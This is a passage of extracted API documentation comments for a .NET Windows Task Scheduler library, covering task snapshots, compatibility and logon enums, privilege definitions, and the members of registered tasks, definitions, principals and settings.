tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the 